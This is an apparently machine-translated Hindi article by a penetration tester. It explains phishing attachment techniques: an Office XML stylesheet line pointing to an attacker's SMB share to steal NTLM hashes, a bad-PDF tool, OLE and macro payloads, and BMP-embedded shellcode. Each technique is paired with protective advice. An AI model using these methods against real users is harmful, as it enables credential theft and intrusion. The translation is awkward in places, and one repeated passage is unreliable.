खुले को नजरअंदाज नहीं किया जा सकता है

मेरा काम इस तथ्य से संबंधित है कि मैं लोगों से झूठ बोलता हूं और उनकी भोलापन, जिज्ञासा, लालच आदि का शोषण करता हूं। मैं अपने काम से प्यार करता हूं और इसे रचनात्मक तरीके से अपनाने की कोशिश करता हूं। मेरी गतिविधि की बारीकियों का संबंध सोशल इंजीनियरिंग की विधि द्वारा हमले करने से है। और इस पोस्ट में मैं दुर्भावनापूर्ण अनुलग्नकों के बारे में बात करना चाहूंगा।

यदि पीडीएफ आपके मेल में आता है, तो क्या आप इसे खोलेंगे? और वर्ड फाइल? क्या आप किसी अज्ञात स्रोत से छवि खोलेंगे? यदि आप संग्रह डाउनलोड करते हैं तो क्या यह मुश्किल में है? आप कितनी अच्छी तरह जानते हैं कि कौन से निवेश खतरनाक हैं और कौन से नहीं। अपने सहयोगियों के बारे में क्या?

कई दर्जन परियोजनाओं के लिए, मैंने उपयोगकर्ता को पेलोड वितरित करने के लिए पूरी तरह से अलग तरीके की कोशिश की है। कुछ बहुत प्रभावी थे, कुछ का आसानी से पता लगाया गया था - प्रत्येक के अपने स्वयं के minuses और pluses हैं। मैं आपको यह नहीं बताऊंगा कि कैसे निष्पादन योग्य फ़ाइलों को एक्सटेंशन के साथ पैक करें। पुरालेख में। इस तरह के एक पुराने जमाने के दृष्टिकोण के साथ, सुरक्षा प्रणालियों के माध्यम से तोड़ना, और फिर उपयोगकर्ता को लगाव शुरू करना भी अधिक महंगा है। मैं आपको बताऊंगा कि संभावित रूप से खतरनाक फाइलें वास्तव में आज (या भेजे गए) मेल द्वारा प्राप्त की जा सकती हैं।

अस्वीकरण: निम्नलिखित सभी केवल सूचना के उद्देश्यों के लिए है। लेखक पेंटेस्ट के दौरान प्राप्त अनुभव का वर्णन करता है, इन हमलों की पुनरावृत्ति के लिए जिम्मेदार नहीं है और अवैध उद्देश्यों के लिए सामग्री का उपयोग नहीं करने के लिए प्रोत्साहित करता है।

एक्सएमएल

विधि का सार

अधिकांश कार्यालय फाइलें Microsoft Office Open XML (OOXML) पर आधारित होती हैं, जो अनिवार्य रूप से Microsoft द्वारा टेबल, चार्ट, प्रेजेंटेशन आदि प्रस्तुत करने के लिए एक संकुचित XML प्रारूप है। एक्सएमएल भागीदारी को दस्तावेज़ एक्सटेंशन (डॉक्स, xlsx, pptx) में प्रदर्शित किया जाता है। यह बहुत उत्सुक है कि ऐसे कार्यालय दस्तावेज़ सभी टैग और विशेषताओं के साथ एक नियमित पाठ फ़ाइल के रूप में खोले जा सकते हैं। किसी भी Office Open XML फ़ाइल को XML के रूप में सहेजा जा सकता है और टैग में परिवर्तन कर सकता है। उदाहरण के लिए, किसी हमलावर द्वारा नियंत्रित सार्वजनिक फ़ोल्डर का लिंक जोड़ें। जब आप XML फ़ाइल चलाते हैं, तो यह एक खुले सार्वजनिक फ़ोल्डर से कनेक्ट करने का प्रयास करता है। जब एसएमबी-प्रोटोकॉल के माध्यम से जुड़ने की कोशिश की जाती है, तो विंडोज कृपया एक NTLM हैश (NTLMv2) और एक हमलावर को उपयोगकर्ता लॉगिन प्रदान करता है।



संक्षेप में कार्यान्वयन

वेक्टर को लागू करने के लिए, आपको एक कार्यालय ओपन एक्सएमएल दस्तावेज़ (डॉक्स, पीपीएक्स, एक्सएलएक्सएक्स आदि) बनाने की आवश्यकता है, इसे एक्सएमएल के रूप में सहेजें। XML खोलें और निम्नलिखित परिवर्तन करें:

<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx \test\swordfish.xsl ">

निर्दिष्ट टैग में, आपको सार्वजनिक नेटवर्क फ़ोल्डर का पता निर्दिष्ट करना होगा जिसमें पीड़ित कनेक्ट होगा।

नोट : इसके बजाय ="\\xxx.xxx.xxx.xxx\test\swordfish.xsl file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl । file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl आप file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl लिख सकते हैं file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl । अगला, फ़ाइल को सहेजा जाना चाहिए और पीड़ित को भेजा जाना चाहिए।

हमले की जानकारी यहां मिल सकती है ।

नोट : ऑपरेटिंग सिस्टम और सेटिंग्स के आधार पर, उपयोगकर्ता को अतिरिक्त स्थितियों या टिप्पणियों के लिए सहमत होना पड़ सकता है, उदाहरण के लिए:



संरक्षण सलाह के बिना एक लेख अधूरा होगा:

• एक जटिल पासवर्ड नीति का उपयोग करें।
• NTLMv2 का उपयोग करें।
• Smb (tcp 139/445) के माध्यम से बाहरी ट्रैफ़िक को अस्वीकार करें।

बुरा-पीडीएफ

विधि का सार

हमलावर द्वारा नियंत्रित सार्वजनिक smb सर्वर के लिंक के साथ एक टैग पीडीएफ फाइल में जोड़ा जाता है। जैसा कि ऊपर के उदाहरण में, फ़ाइल खोलते समय, ऑपरेटिंग सिस्टम सार्वजनिक फ़ोल्डर से कनेक्ट करने के लिए एक NTLM हैश (NTLMv2) संचारित करता है।

संक्षेप में कार्यान्वयन

इस हमले को लागू करना पिछले वाले की तुलना में बहुत आसान है। एक हैश को सफलतापूर्वक चुराने के लिए, बस उपयोगिता को डाउनलोड करें ( यहां या यहां क्लोन करें ) और अजगर फाइल को निष्पादित करने का अधिकार (chmod + x) दें। इसके बाद, अजगर स्क्रिप्ट को चलाएं और नीचे दिए गए चित्र की तरह आईपी एड्रेस, फ़ाइल नाम और इंटरफ़ेस दर्ज करें।


पेलोड फ़ाइल बनाना।

प्राप्त फ़ाइल को बधाई की आड़ में, हस्ताक्षर के लिए एक दस्तावेज, आवेदन की एक स्कैन और इसी तरह मेल पर भेजा जा सकता है। जब फ़ाइल शुरू होती है, तो सभी हैश हमलावर को भेजे जाएंगे।



सुरक्षा

• एक जटिल पासवर्ड नीति का उपयोग करें।
• NTLMv2 का उपयोग करें।
• Smb (tcp 139/445) के माध्यम से बाहरी ट्रैफ़िक को अस्वीकार करें।

OLE ऑब्जेक्ट

विधि का सार

एक वैध कार्यालय दस्तावेज़ में, एक स्क्रिप्ट जिसे क्लिक करके लॉन्च किया गया है, एम्बेडेड है। स्क्रिप्ट बिल्कुल कोई भी हो सकती है, यह आमतौर पर सिर्फ एक पेलोड है। इसका अपना आइकन है, जिसे बदला जा सकता है, हमलावर की इच्छाओं के आधार पर, त्रुटि संदेश का अनुकरण करने वाले कार्यालय-दस्तावेजों की शैली की पूरी प्रतिलिपि तक। मैक्रोज़ के विपरीत, एक OLE अनुलग्नक वाली फ़ाइल आम उपयोगकर्ताओं के लिए संदिग्ध नहीं है।


संक्षेप में कार्यान्वयन

इस हमले की तैयारी के लिए थोड़ा और प्रयास करना होगा (ऊपर वाले की तुलना में)। पहला कदम पेलोड उत्पन्न करना है। अगला, आपको सर्वर शुरू करने की आवश्यकता है, जो पेलोड से कनेक्शन प्राप्त करेगा, फिर एक वर्ड-दस्तावेज़ बनाएं, इसे आरटीएफ में कनवर्ट करें और पेलोड के लिए एक लिंक जोड़ें। अगर संक्षेप में।
हमले की जानकारी यहां मिल सकती है ।

सुरक्षा

ऐसे हमलों से बचाने के लिए, हम अनुशंसा करते हैं कि आप निम्नलिखित रजिस्ट्री परिवर्तन करें:

HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt

Office Version मान 16.0 (Office 2016) हो सकता है; 15.0 (कार्यालय 2013); 14.0 (कार्यालय 2010); या 12.0 (ऑफिस 2007)। Office application का मान किसी विशिष्ट Office अनुप्रयोग का नाम है, वह है, Word, Excel और इसी तरह।

इस रजिस्ट्री कुंजी का मान "2" होना चाहिए, जिसका अर्थ होगा "कोई संकेत नहीं, वस्तु निष्पादित नहीं करता है" या वस्तुओं के निष्पादन पर एक वास्तविक प्रतिबंध। "1" का मान उपयोगकर्ता को "क्लिक से ऑब्जेक्ट के निष्पादित होने पर कार्यालय से शीघ्रता" की अनुमति देता है, अर्थात, ऑब्जेक्ट क्लिक-क्लिक किए जाते हैं, और ऑफिस संबंधित संदेश प्रदर्शित करता है। मूल्य "0", जिसका अर्थ है, "जब उपयोगकर्ता क्लिक करता है, तो कार्यालय से कोई संकेत नहीं मिलता है, ऑब्जेक्ट निष्पादित होता है", दूसरे शब्दों में, वस्तुओं को निष्पादित किया जाता है, लेकिन उपयोगकर्ता को कार्यालय से कोई संदेश प्राप्त नहीं होता है।

यदि आपकी कंपनी की व्यावसायिक प्रक्रियाओं में इन कार्यों का उपयोग नहीं किया जाता है तो परिवर्तन किए जा सकते हैं।

मैक्रो

चूंकि OLE का उल्लेख किया गया था, मैं मैक्रोज़ का उल्लेख कैसे नहीं कर सकता हूं?



विधि का सार

मैक्रो - कमांड का एक सेट जो उपयोगकर्ता के काम को आसान बनाने के लिए डिज़ाइन किया गया है। संभावित रूप से, आप मैक्रो में कमांड के किसी भी सेट को लिख सकते हैं और इस तरह एक पेलोड प्राप्त कर सकते हैं। मैक्रो के साथ एक दस्तावेज़ बनाने के लिए, एक हमलावर को केवल पेलोड कोड को बाधित करने और दस्तावेज़ मैक्रो में कोड जोड़ने की आवश्यकता है।

संक्षेप में कार्यान्वयन

फिलहाल एक मैक्रो उत्पन्न करने के कई शानदार तरीके हैं। आप Luckystrike टूल का उपयोग कर सकते हैं या अधिक परिचित Metasploit पर रोक सकते हैं। आप msfvenom का उपयोग कर सकते हैं और पीढ़ी के बाद मैक्रो को बाधित कर सकते हैं। जब मैक्रो बनाया जाता है, तो आपको केवल इसे कार्यालय दस्तावेज़ में जोड़ना होगा। लेकिन एक OLE अनुलग्नक के विपरीत, आपको वास्तव में मैक्रो को चलाने के लिए बहुत अधिक प्रयास की आवश्यकता होती है। फिलहाल, बहुत कम उपयोगकर्ता मैक्रोज़ चलाएंगे। विंडोज़ ने पहले ही संदिग्ध मैक्रोज़ के बारे में चेतावनी देना सीख लिया है, और उनके खतरे के बारे में बहुत कुछ बात हुई है।

सुरक्षा

विश्वसनीयता के लिए, मैं अधिसूचना के बिना मैक्रो निष्पादन को अक्षम करने की सलाह देता हूं।

बीएमपी

यह बहुत संभावना नहीं है कि आप कभी भी शेलकोड के साथ बीएमपी अटैचमेंट का सामना करेंगे, इसलिए बस जागरूक रहें: ऐसे हैं।

विधि का सार

शेल कोड बीएमपी प्रारूप में छवि में एम्बेडेड है। खोज के समय छवि स्वयं खतरनाक नहीं है। यह हमलावर को सत्र लेने देने के बारे में नहीं है। उस घंटे के लिए झूठ बोलने और प्रतीक्षा करने के लिए चित्र की आवश्यकता होती है जब हमलावर पॉवर्सशेल कमांड का उपयोग करके इसे सक्रिय करता है। यह तरीका इतना हमला नहीं है जितना कि एंटीवायरस और घुसपैठ का पता लगाने वाले उपकरणों के बाईपास पर।

संक्षेप में कार्यान्वयन

चित्र बनाने के लिए, बस इस रिपॉजिटरी का उपयोग करें। DKMC इमेज जेनरेशन से कोड अपफिकेशन तक सब कुछ प्रदान करता है। मैं यह भी नोट करना चाहता हूं कि "संक्रमित" छवि में अजीब बहु-रंगीन पिक्सेल होंगे। यह आसानी से तय किया जा सकता है यदि आप छवि के दृश्य क्षेत्र को 5-10 पिक्सेल से काटते हैं।

छवि बनाने के बाद, फ़ाइल को पीड़ित तक पहुंचाया जाना चाहिए और सही अवसर की प्रतीक्षा करनी चाहिए या पावरस्क्रिप्‍ट स्क्रिप्ट को चलाने के अवसर की तलाश करनी चाहिए।

सुरक्षा

संभावित रूप से खतरनाक के रूप में हर bmp फ़ाइल को फ़िल्टर करना अक्षम है। आप कन्वर्टर्स का उपयोग कर सकते हैं और अन्य स्वरूपों में छवियों को बचा सकते हैं, कंप्यूटरों पर फ़ाइलों का निरीक्षण कर सकते हैं या इस तथ्य को स्वीकार कर सकते हैं कि यदि कोई हमलावर किसी कर्मचारी के कंप्यूटर पर पॉवरशेल स्क्रिप्ट का उपयोग करने में कामयाब रहता है, तो शेल कोड वाली छवि की उपस्थिति मुख्य सुरक्षा समस्या नहीं है।

वह, वास्तव में, सब है। मुझे उम्मीद है कि इस लेख ने निवेश और उन खतरों के बारे में आपकी समझ का विस्तार किया है जो वे कर सकते हैं। हम कुछ समय बाद संदिग्ध लिंक के बारे में बात करेंगे।



एकाटेरिना रुडाया ( कैटरिन ), प्रैक्टिकल सुरक्षा विश्लेषण के लिए प्रयोगशाला में विशेषज्ञ, जेट इन्फोसिस्टम्स